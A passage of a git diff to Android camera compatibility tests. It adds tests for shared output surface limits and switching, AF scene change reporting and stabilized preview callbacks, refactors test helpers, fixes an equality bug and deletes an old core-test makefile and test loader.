+        for (int i = 0; i < IMG_READER_COUNT; i++) {
+            imageReaders[i].close();
+        }
+
+        stopPreview(cameraId);
+    }
+
+    /*
+     * Test the dynamic shared surface limit.
+     */
+    public void testSharedSurfaceLimit() throws Exception {
+        for (String cameraId : mCameraIds) {
+            try {
+                openCamera(cameraId);
+                if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
+                    Log.i(TAG, "Camera " + cameraId + " is legacy, skipping");
+                    continue;
+                }
+                if (!getStaticInfo(cameraId).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + cameraId +
+                            " does not support color outputs, skipping");
+                    continue;
+                }
+
+                testSharedSurfaceLimitByCamera(cameraId,
+                        Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS);
+            }
+            finally {
+                closeCamera(cameraId);
+            }
+        }
+    }
+
+    private void testSharedSurfaceLimitByCamera(String cameraId, int surfaceLimit)
+            throws Exception {
+        Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+        CameraPreviewListener[] previewListener = new CameraPreviewListener[surfaceLimit];
+        SurfaceTexture[] previewTexture = new SurfaceTexture[surfaceLimit];
+        Surface[] surfaces = new Surface[surfaceLimit];
+        int sequenceId = -1;
+
+        if ((surfaceLimit <= 1) ||
+                (surfaceLimit < OutputConfiguration.getMaxSharedSurfaceCount())) {
+            return;
+        }
+
+        // Create surface textures with the same size
+        for (int i = 0; i < surfaceLimit; i++) {
+            previewListener[i] = new CameraPreviewListener();
+            mTextureView[i].setSurfaceTextureListener(previewListener[i]);
+            previewTexture[i] = getAvailableSurfaceTexture(
+                    WAIT_FOR_COMMAND_TO_COMPLETE, mTextureView[i]);
+            assertNotNull("Unable to get preview surface texture", previewTexture[i]);
+            previewTexture[i].setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+            // Correct the preview display rotation.
+            updatePreviewDisplayRotation(previewSize, mTextureView[i]);
+            surfaces[i] = new Surface(previewTexture[i]);
+        }
+
+        SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+
+        // Create shared outputs for the two surface textures
+        OutputConfiguration surfaceSharedOutput = new OutputConfiguration(surfaces[0]);
+        surfaceSharedOutput.enableSurfaceSharing();
+
+        List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+        outputConfigurations.add(surfaceSharedOutput);
+
+        startPreviewWithConfigs(cameraId, outputConfigurations, null);
+
+        boolean previewDone =
+                previewListener[0].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+        assertTrue("Unable to start preview", previewDone);
+        mTextureView[0].setSurfaceTextureListener(null);
+
+        SystemClock.sleep(PREVIEW_TIME_MS);
+
+        int i = 1;
+        for (; i < surfaceLimit; i++) {
+            //Add one more output surface while preview is streaming
+            if (i >= OutputConfiguration.getMaxSharedSurfaceCount()){
+                try {
+                    surfaceSharedOutput.addSurface(surfaces[i]);
+                    fail("should get IllegalArgumentException due to output surface limit");
+                } catch (IllegalArgumentException e) {
+                    //expected
+                    break;
+                }
+            } else {
+                surfaceSharedOutput.addSurface(surfaces[i]);
+                updateOutputConfiguration(cameraId, surfaceSharedOutput);
+                sequenceId = updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
+
+                SystemClock.sleep(PREVIEW_TIME_MS);
+            }
+        }
+
+        for (; i > 0; i--) {
+            if (i >= OutputConfiguration.getMaxSharedSurfaceCount()) {
+                try {
+                    surfaceSharedOutput.removeSurface(surfaces[i]);
+                    fail("should get IllegalArgumentException due to output surface limit");
+                } catch (IllegalArgumentException e) {
+                    // expected exception
+                }
+            } else {
+                surfaceSharedOutput.removeSurface(surfaces[i]);
+
+            }
+        }
+        //Remove all previously added shared outputs in one call
+        updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
+        long lastSequenceFrameNumber = resultListener.getCaptureSequenceLastFrameNumber(
+                sequenceId, PREVIEW_TIME_MS);
+        checkForLastFrameInSequence(lastSequenceFrameNumber, resultListener);
+        updateOutputConfiguration(cameraId, surfaceSharedOutput);
+        SystemClock.sleep(PREVIEW_TIME_MS);
+
+        stopPreview(cameraId);
+    }
+
+    /*
+     * Test dynamic shared surface switch behavior.
+     */
+    public void testSharedSurfaceSwitch() throws Exception {
+        for (String cameraId : mCameraIds) {
+            try {
+                openCamera(cameraId);
+                if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
+                    Log.i(TAG, "Camera " + cameraId + " is legacy, skipping");
+                    continue;
+                }
+                if (!getStaticInfo(cameraId).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + cameraId +
+                            " does not support color outputs, skipping");
+                    continue;
+                }
+
+                testSharedSurfaceSwitchByCamera(cameraId, NUM_SURFACE_SWITCHES);
+            }
+            finally {
+                closeCamera(cameraId);
+            }
+        }
+    }
+
+    private void testSharedSurfaceSwitchByCamera(String cameraId, int switchCount)
+            throws Exception {
+        Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+        CameraPreviewListener[] previewListener = new CameraPreviewListener[2];
+        SurfaceTexture[] previewTexture = new SurfaceTexture[2];
+        Surface[] surfaces = new Surface[2];
+
+        // Create surface textures with the same size
+        for (int i = 0; i < 2; i++) {
+            previewListener[i] = new CameraPreviewListener();
+            mTextureView[i].setSurfaceTextureListener(previewListener[i]);
+            previewTexture[i] = getAvailableSurfaceTexture(
+                    WAIT_FOR_COMMAND_TO_COMPLETE, mTextureView[i]);
+            assertNotNull("Unable to get preview surface texture", previewTexture[i]);
+            previewTexture[i].setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+            // Correct the preview display rotation.
+            updatePreviewDisplayRotation(previewSize, mTextureView[i]);
+            surfaces[i] = new Surface(previewTexture[i]);
+        }
+
+        SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+
+        // Create shared outputs for the two surface textures
+        OutputConfiguration surfaceSharedOutput = new OutputConfiguration(surfaces[0]);
+        surfaceSharedOutput.enableSurfaceSharing();
+
+        List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+        outputConfigurations.add(surfaceSharedOutput);
+
+        startPreviewWithConfigs(cameraId, outputConfigurations, null);
+
+        boolean previewDone =
+                previewListener[0].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+        assertTrue("Unable to start preview", previewDone);
+        mTextureView[0].setSurfaceTextureListener(null);
+
+        SystemClock.sleep(PREVIEW_TIME_MS);
+
+        for (int i = 0; i < switchCount; i++) {
+            //Add one more output surface while preview is streaming
+            surfaceSharedOutput.addSurface(surfaces[1]);
+            updateOutputConfiguration(cameraId, surfaceSharedOutput);
+            int sequenceId = updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
+
+            SystemClock.sleep(PREVIEW_TIME_MS);
+
+            //Try to remove the shared surface while while we still have active requests that
+            //use it as output.
+            surfaceSharedOutput.removeSurface(surfaces[1]);
+            try {
+                updateOutputConfiguration(cameraId, surfaceSharedOutput);
+                fail("should get IllegalArgumentException due to pending requests");
+            } catch (IllegalArgumentException e) {
+                // expected exception
+            }
+
+            //Wait for all pending requests to arrive and remove the shared output during active
+            //streaming
+            updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
+            long lastSequenceFrameNumber = resultListener.getCaptureSequenceLastFrameNumber(
+                    sequenceId, PREVIEW_TIME_MS);
+            checkForLastFrameInSequence(lastSequenceFrameNumber, resultListener);
+            updateOutputConfiguration(cameraId, surfaceSharedOutput);
+
+            SystemClock.sleep(PREVIEW_TIME_MS);
+        }
+
+        stopPreview(cameraId);
+    }
+
+    private void checkForLastFrameInSequence(long lastSequenceFrameNumber,
+            SimpleCaptureCallback listener) throws Exception {
+        // Find the last frame number received in results and failures.
+        long lastFrameNumber = -1;
+        while (listener.hasMoreResults()) {
+            TotalCaptureResult result = listener.getTotalCaptureResult(PREVIEW_TIME_MS);
+            if (lastFrameNumber < result.getFrameNumber()) {
+                lastFrameNumber = result.getFrameNumber();
+            }
+        }
+
+        while (listener.hasMoreFailures()) {
+            ArrayList<CaptureFailure> failures = listener.getCaptureFailures(
+                    /*maxNumFailures*/ 1);
+            for (CaptureFailure failure : failures) {
+                if (lastFrameNumber < failure.getFrameNumber()) {
+                    lastFrameNumber = failure.getFrameNumber();
+                }
+            }
+        }
+
+        // Verify the last frame number received from capture sequence completed matches the
+        // the last frame number of the results and failures.
+        assertEquals(String.format("Last frame number from onCaptureSequenceCompleted " +
+                "(%d) doesn't match the last frame number received from " +
+                "results/failures (%d)", lastSequenceFrameNumber, lastFrameNumber),
+                lastSequenceFrameNumber, lastFrameNumber);
+    }
+
+    /*
      * Verify behavior of sharing surfaces within one OutputConfiguration
      */
     public void testSharedSurfaces() throws Exception {
@@ -517,7 +992,7 @@
 
         // Run preview with both surfaces, and verify at least one frame is received for each
         // surface.
-        updateOutputConfigs(cameraId, deferredConfigs, null);
+        finalizeOutputConfigs(cameraId, deferredConfigs, null);
         previewDone =
                 previewListener[1].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
         assertTrue("Unable to start preview 1", previewDone);
@@ -547,7 +1022,7 @@
         surfaceSharedOutput.addSurface(surfaces[1]);
         deferredConfigs.clear();
         deferredConfigs.add(surfaceSharedOutput);
-        updateOutputConfigs(cameraId, deferredConfigs, null);
+        finalizeOutputConfigs(cameraId, deferredConfigs, null);
         previewDone =
                 previewListener[1].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
         assertTrue("Unable to start preview 1", previewDone);
@@ -574,7 +1049,7 @@
         surfaceSharedOutput.addSurface(surfaces[1]);
         deferredConfigs.clear();
         deferredConfigs.add(surfaceSharedOutput);
-        updateOutputConfigs(cameraId, deferredConfigs, null);
+        finalizeOutputConfigs(cameraId, deferredConfigs, null);
         for (int i = 0; i < 2; i++) {
             previewDone =
                     previewListener[i].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
@@ -584,4 +1059,20 @@
         SystemClock.sleep(PREVIEW_TIME_MS);
         stopPreview(cameraId);
     }
+
+    private final class SimpleImageListener implements ImageReader.OnImageAvailableListener {
+        private final ConditionVariable imageAvailable = new ConditionVariable();
+        @Override
+        public void onImageAvailable(ImageReader reader) {
+            imageAvailable.open();
+        }
+
+        public void waitForAnyImageAvailable(long timeout) {
+            if (imageAvailable.block(timeout)) {
+                imageAvailable.close();
+            } else {
+                fail("wait for image available timed out after " + timeout + "ms");
+            }
+        }
+    }
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
index e2a61a6..eed64b9 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
@@ -16,6 +16,7 @@
 
 package android.hardware.camera2.cts;
 
+import android.graphics.SurfaceTexture;
 import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
 import android.util.Log;
 import android.util.Size;
@@ -59,8 +60,20 @@
                 testCameraDeviceSimplePreviewNative(mPreviewSurface));
     }
 
+    public void testCameraDeviceSharedOutputUpdate() {
+        // Init preview surface to a guaranteed working size
+        Size previewSize = new Size(640, 480);
+        updatePreviewSurface(previewSize);
+        SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID*/ 5);
+        outputTexture.setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+        Surface outputSurface = new Surface(outputTexture);
+        assertTrue("testCameraDeviceSharedWindowAddRemove fail, see log for details",
+                testCameraDeviceSharedOutputUpdate(mPreviewSurface, outputSurface));
+    }
+
     private static native boolean testCameraDeviceOpenAndCloseNative();
     private static native boolean testCameraDeviceCreateCaptureRequestNative();
     private static native boolean testCameraDeviceSessionOpenAndCloseNative(Surface preview);
     private static native boolean testCameraDeviceSimplePreviewNative(Surface preview);
+    private static native boolean testCameraDeviceSharedOutputUpdate(Surface src, Surface dst);
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index a900b84..4eef7a8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -957,6 +957,65 @@
         }
     }
 
+    public void testAfSceneChange() throws Exception {
+        final int NUM_FRAMES_VERIFIED = 3;
+
+        for (String id : mCameraIds) {
+            Log.i(TAG, String.format("Testing Camera %s for AF scene change", id));
+
+            StaticMetadata staticInfo =
+                    new StaticMetadata(mCameraManager.getCameraCharacteristics(id));
+            if (!staticInfo.isAfSceneChangeSupported()) {
+                continue;
+            }
+
+            openDevice(id);
+
+            try {
+                SurfaceTexture preview = new SurfaceTexture(/*random int*/ 1);
+                Surface previewSurface = new Surface(preview);
+
+                CaptureRequest.Builder previewRequest = preparePreviewTestSession(preview);
+                SimpleCaptureCallback previewListener = new CameraTestUtils.SimpleCaptureCallback();
+
+                int[] availableAfModes = mStaticInfo.getAfAvailableModesChecked();
+
+                // Test AF scene change in each AF mode.
+                for (int afMode : availableAfModes) {
+                    previewRequest.set(CaptureRequest.CONTROL_AF_MODE, afMode);
+
+                    int sequenceId = mCameraSession.setRepeatingRequest(previewRequest.build(),
+                            previewListener, mHandler);
+
+                    // Verify that AF scene change is NOT_DETECTED or DETECTED in CONTINUOUS_VIDEO
+                    // and CONTINUOUS_PICTURE AF modes, and NOT_DETECTED in other AF modes.
+                    for (int i = 0; i < NUM_FRAMES_VERIFIED; i++) {
+                        TotalCaptureResult result =
+                            previewListener.getTotalCaptureResult(CAPTURE_TIMEOUT);
+                        if (afMode == CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_VIDEO ||
+                                afMode == CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_PICTURE) {
+                            mCollector.expectKeyValueIsIn(result,
+                                    CaptureResult.CONTROL_AF_SCENE_CHANGE,
+                                    CaptureResult.CONTROL_AF_SCENE_CHANGE_DETECTED,
+                                    CaptureResult.CONTROL_AF_SCENE_CHANGE_NOT_DETECTED);
+                        } else {
+                            mCollector.expectKeyValueEquals(result,
+                                    CaptureResult.CONTROL_AF_SCENE_CHANGE,
+                                    CaptureResult.CONTROL_AF_SCENE_CHANGE_NOT_DETECTED);
+                        }
+                    }
+
+                    mCameraSession.stopRepeating();
+                    previewListener.getCaptureSequenceLastFrameNumber(sequenceId, CAPTURE_TIMEOUT);
+                    previewListener.drain();
+                }
+            } finally {
+                closeDevice(id);
+            }
+        }
+    }
+
+
     private CaptureRequest.Builder preparePreviewTestSession(SurfaceTexture preview)
             throws Exception {
         Surface previewSurface = new Surface(preview);
diff --git a/tests/camera/src/android/hardware/camera2/cts/rs/AllocationCache.java b/tests/camera/src/android/hardware/camera2/cts/rs/AllocationCache.java
index b89f9bb..98f1032 100644
--- a/tests/camera/src/android/hardware/camera2/cts/rs/AllocationCache.java
+++ b/tests/camera/src/android/hardware/camera2/cts/rs/AllocationCache.java
@@ -223,7 +223,7 @@
             if (other instanceof AllocationKey){
                 AllocationKey otherKey = (AllocationKey) other;
 
-                return otherKey.mType.equals(mType) && otherKey.mUsage == otherKey.mUsage;
+                return otherKey.mType.equals(mType) && otherKey.mUsage == mUsage;
             }
 
             return false;
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
index a1d63d8..66324da 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
@@ -64,10 +64,10 @@
     private static final String TAG = "MultiViewTestCase";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
 
-
     private static final long SHORT_SLEEP_WAIT_TIME_MS = 100;
 
-    protected TextureView[] mTextureView = new TextureView[2];
+    protected TextureView[] mTextureView =
+            new TextureView[Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS];
     protected String[] mCameraIds;
     protected Handler mHandler;
 
@@ -99,8 +99,9 @@
         mHandler = new Handler(mHandlerThread.getLooper());
         mCameraListener = new BlockingStateCallback();
         Camera2MultiViewCtsActivity activity = (Camera2MultiViewCtsActivity) mContext;
-        mTextureView[0] = activity.getTextureView(0);
-        mTextureView[1] = activity.getTextureView(1);
+        for (int i = 0; i < Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS; i++) {
+            mTextureView[i] = activity.getTextureView(i);
+        }
         assertNotNull("Unable to get texture view", mTextureView);
         mCameraIdMap = new HashMap<String, Integer>();
         int numCameras = mCameraIds.length;
@@ -246,13 +247,13 @@
         camera.startPreview(outputSurfaces, listener);
     }
 
-    protected void startPreviewWithConfigs(String cameraId,
+    protected int startPreviewWithConfigs(String cameraId,
             List<OutputConfiguration> outputConfigs,
             CaptureCallback listener)
             throws Exception {
         CameraHolder camera = getCameraHolder(cameraId);
         assertTrue("Camera " + cameraId + " is not openned", camera.isOpened());
-        camera.startPreviewWithConfigs(outputConfigs, listener);
+        return camera.startPreviewWithConfigs(outputConfigs, listener);
     }
 
     protected void stopPreview(String cameraId) throws Exception {
@@ -261,11 +262,39 @@
         camera.stopPreview();
     }
 
-    protected void updateOutputConfigs(String cameraId, List<OutputConfiguration> configs,
+    protected void finalizeOutputConfigs(String cameraId, List<OutputConfiguration> configs,
             CaptureCallback listener) throws Exception {
         CameraHolder camera = getCameraHolder(cameraId);
         assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
-        camera.updateOutputConfigs(configs, listener);
+        camera.finalizeOutputConfigs(configs, listener);
+    }
+
+    protected int updateRepeatingRequest(String cameraId, List<OutputConfiguration> configs,
+            CaptureCallback listener) throws Exception {
+        CameraHolder camera = getCameraHolder(cameraId);
+        assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+        return camera.updateRepeatingRequest(configs, listener);
+    }
+
+    protected void updateOutputConfiguration(String cameraId, OutputConfiguration config)
+            throws Exception {
+        CameraHolder camera = getCameraHolder(cameraId);
+        assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+        camera.updateOutputConfiguration(config);
+    }
+
+    protected void capture(String cameraId, CaptureRequest request, CaptureCallback listener)
+            throws Exception {
+        CameraHolder camera = getCameraHolder(cameraId);
+        assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+        camera.capture(request, listener);
+    }
+
+    protected CaptureRequest.Builder getCaptureBuilder(String cameraId, int templateId)
+            throws Exception {
+        CameraHolder camera = getCameraHolder(cameraId);
+        assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+        return camera.getCaptureBuilder(templateId);
     }
 
     protected StaticMetadata getStaticInfo(String cameraId) {
@@ -426,6 +455,9 @@
                 throws Exception {
             mSessionListener = new BlockingSessionCallback();
             mSession = configureCameraSession(mCamera, outputSurfaces, mSessionListener, mHandler);
+            if (outputSurfaces.isEmpty()) {
+                return;
+            }
 
             // TODO: vary the different settings like crop region to cover more cases.
             CaptureRequest.Builder captureBuilder =
@@ -457,7 +489,7 @@
                     state == BlockingSessionCallback.SESSION_CONFIGURE_FAILED);
         }
 
-        public void startPreviewWithConfigs(List<OutputConfiguration> outputConfigs,
+        public int startPreviewWithConfigs(List<OutputConfiguration> outputConfigs,
                 CaptureCallback listener)
                 throws Exception {
             createSessionWithConfigs(outputConfigs);
@@ -470,13 +502,11 @@
                     captureBuilder.addTarget(surface);
                 }
             }
-            mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
+            return mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
         }
 
-        public void updateOutputConfigs(List<OutputConfiguration> configs,
+        public int updateRepeatingRequest(List<OutputConfiguration> configs,
                 CaptureCallback listener) throws Exception {
-            mSession.finalizeOutputConfigurations(configs);
-
             CaptureRequest.Builder captureBuilder =
                     mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
 
@@ -485,7 +515,26 @@
                     captureBuilder.addTarget(surface);
                 }
             }
-            mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
+            return mSession.setRepeatingRequest(captureBuilder.build(), listener, mHandler);
+        }
+
+        public void updateOutputConfiguration(OutputConfiguration config) throws Exception {
+            mSession.updateOutputConfiguration(config);
+        }
+
+        public void capture(CaptureRequest request, CaptureCallback listener)
+                throws Exception {
+            mSession.capture(request, listener, mHandler);
+        }
+
+        public CaptureRequest.Builder getCaptureBuilder(int templateId) throws Exception {
+            return mCamera.createCaptureRequest(templateId);
+        }
+
+        public void finalizeOutputConfigs(List<OutputConfiguration> configs,
+                CaptureCallback listener) throws Exception {
+            mSession.finalizeOutputConfigurations(configs);
+            updateRepeatingRequest(configs, listener);
         }
 
         public boolean isPreviewStarted() {
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index 3b697ce..f5fff8e 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -462,6 +462,30 @@
     }
 
     @UiThreadTest
+    public void testStabilizationOneShotPreviewCallback() throws Exception {
+        int nCameras = Camera.getNumberOfCameras();
+        for (int id = 0; id < nCameras; id++) {
+            Log.v(TAG, "Camera id=" + id);
+            testStabilizationOneShotPreviewCallbackByCamera(id);
+        }
+    }
+
+    private void testStabilizationOneShotPreviewCallbackByCamera(int cameraId) throws Exception {
+        initializeMessageLooper(cameraId);
+        Parameters params = mCamera.getParameters();
+        if(!params.isVideoStabilizationSupported()) {
+            return;
+        }
+        //Check whether we can support preview callbacks along with stabilization
+        params.setVideoStabilization(true);
+        mCamera.setParameters(params);
+        mCamera.setOneShotPreviewCallback(mPreviewCallback);
+        checkPreviewCallback();
+        terminateMessageLooper();
+        assertEquals(PREVIEW_CALLBACK_RECEIVED, mPreviewCallbackResult);
+    }
+
+    @UiThreadTest
     public void testSetOneShotPreviewCallback() throws Exception {
         int nCameras = Camera.getNumberOfCameras();
         for (int id = 0; id < nCameras; id++) {
diff --git a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
index 834d37c..0f48364 100644
--- a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
+++ b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
@@ -227,18 +227,15 @@
         verify(spyStateCb, times(1)).onOpened(any(CameraDevice.class));
 
         // Verify that we can no longer open the camera, as it is held by a higher priority process
-        boolean openException = false;
         try {
             manager.openCamera(chosenCamera, spyStateCb, cameraHandler);
+            fail("Didn't receive exception when trying to open camera held by higher priority " +
+                    "process.");
         } catch(CameraAccessException e) {
             assertTrue("Received incorrect camera exception when opening camera: " + e,
                     e.getReason() == CameraAccessException.CAMERA_IN_USE);
-            openException = true;
         }
 
-        assertTrue("Didn't receive exception when trying to open camera held by higher priority " +
-                "process.", openException);
-
         // Verify that attempting to open the camera didn't cause anything weird to happen in the
         // other process.
         List<ErrorLoggingService.LogEvent> eventList2 = null;
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
index aa048cf..5563700 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
@@ -877,6 +877,24 @@
     }
 
     /**
+     * Check if the key is non-null, and the key value is one of the expected values.
+     *
+     * @param result {@link CaptureResult} to get the key from.
+     * @param key The {@link CaptureResult} key to be checked.
+     * @param expected The expected values of the CaptureResult key.
+     */
+    public <T> void expectKeyValueIsIn(CaptureResult result,
+                                       CaptureResult.Key<T> key, T... expected) {
+        T value = expectKeyValueNotNull(result, key);
+        if (value == null) {
+            return;
+        }
+        String reason = "Key " + key.getName() + " value " + value
+                + " isn't one of the expected values " + Arrays.deepToString(expected);
+        expectContains(reason, expected, value);
+    }
+
+    /**
      * Check if the key is non-null, and the key value contains the expected element.
      *
      * @param characteristics {@link CameraCharacteristics} to check.
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 319ec91..3c551f8 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -2258,6 +2258,13 @@
     }
 
     /**
+     * Check if AF scene change key is supported.
+     */
+    public boolean isAfSceneChangeSupported() {
+        return areKeysAvailable(CaptureResult.CONTROL_AF_SCENE_CHANGE);
+    }
+
+    /**
      * Get the value in index for a fixed-size array from a given key.
      *
      * <p>If the camera device is incorrectly reporting values, log a warning and return
diff --git a/tests/core/Android.mk b/tests/core/Android.mk
index 7a2a708..e9c9793 100644
--- a/tests/core/Android.mk
+++ b/tests/core/Android.mk
@@ -14,6 +14,4 @@
 
 LOCAL_PATH:= $(call my-dir)
 
-BUILD_CTSCORE_PACKAGE:=$(LOCAL_PATH)/ctscore.mk
-
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/core/ctscore.mk b/tests/core/ctscore.mk
deleted file mode 100644
index 10a91f1..0000000
--- a/tests/core/ctscore.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_JAVA_LIBRARIES := android.test.runner bouncycastle conscrypt
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-# don't include these packages in any target
-LOCAL_MODULE_TAGS := optional
-# and when installed explicitly put them in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-# Don't delete META-INF from the core-tests jar
-LOCAL_DONT_DELETE_JAR_META_INF := true
-
-# TODO: Clean up this mess. (b/26483949). libnativehelper_compat_libc++ pulls in its own
-# static copy of libc++ and the libc++ we're bundling here is the platform libc++. This is
-# bround to break but is being submitted as a workaround for failing CTS tests.
-LOCAL_JNI_SHARED_LIBRARIES := libjavacoretests libsqlite_jni libnativehelper_compat_libc++ libc++
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-include $(BUILD_PACKAGE)
diff --git a/tests/core/runner/Android.mk b/tests/core/runner/Android.mk
index 7e4fb0d..f86ee2f 100644
--- a/tests/core/runner/Android.mk
+++ b/tests/core/runner/Android.mk
@@ -14,21 +14,6 @@
 
 LOCAL_PATH:= $(call my-dir)
 
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-
-# include this package in the tests target for continuous testing
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_PACKAGE_NAME := android.core.tests.runner
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-test-runner
-
-include $(BUILD_CTSCORE_PACKAGE)
-
 #==========================================================
 # Build the core runner.
 #==========================================================
diff --git a/tests/core/runner/src/com/android/cts/core/internal/runner/TestLoader.java b/tests/core/runner/src/com/android/cts/core/internal/runner/TestLoader.java
deleted file mode 100644
index 108e8fd..0000000
--- a/tests/core/runner/src/com/android/cts/core/internal/runner/TestLoader.java
+++ /dev/null
@@ -1,258 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/**
- * This file is a copy of https://cs.corp.google.com/android/frameworks/testing/runner/src/main/java/android/support/test/internal/runner/TestLoader.java
- * The only changes that have been made starts with // Libcore-specific
- */
-
-package com.android.cts.core.internal.runner;
-
-import android.util.Log;
-
-import org.junit.runner.Description;
-import org.junit.runner.notification.Failure;
-
-import java.lang.annotation.Annotation;
-import java.lang.reflect.Method;
-import java.lang.reflect.Modifier;
-import java.util.Collection;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * A class for loading JUnit3 and JUnit4 test classes given a set of potential class names.
- */
-public final class TestLoader {
-
-    private static final String LOG_TAG = "TestLoader";
-    // Libcore-specific change: Fully qualified name of TestNG annotation class.
-    private static final String TESTNG_TEST = "org.testng.annotations.Test";
-
-    private Map<String, Class<?>> mLoadedClassesMap = new LinkedHashMap<String, Class<?>>();
-    private Map<String, Failure> mLoadFailuresMap = new LinkedHashMap<String, Failure>();
-
-    private ClassLoader mClassLoader;
-
-    /**
-     * Set the {@link ClassLoader} to be used to load test cases.
-     *
-     * @param loader {@link ClassLoader} to load test cases with.
-     */
-    public void setClassLoader(ClassLoader loader) {
-        mClassLoader = loader;
-    }
-
-    /**
-     * Loads the test class from a given class name if its not already loaded.
-     * <p/>
-     * Will store the result internally. Successfully loaded classes can be retrieved via
-     * {@link #getLoadedClasses()}, failures via {@link #getLoadFailures()}.
-     *
-     * @param className the class name to attempt to load
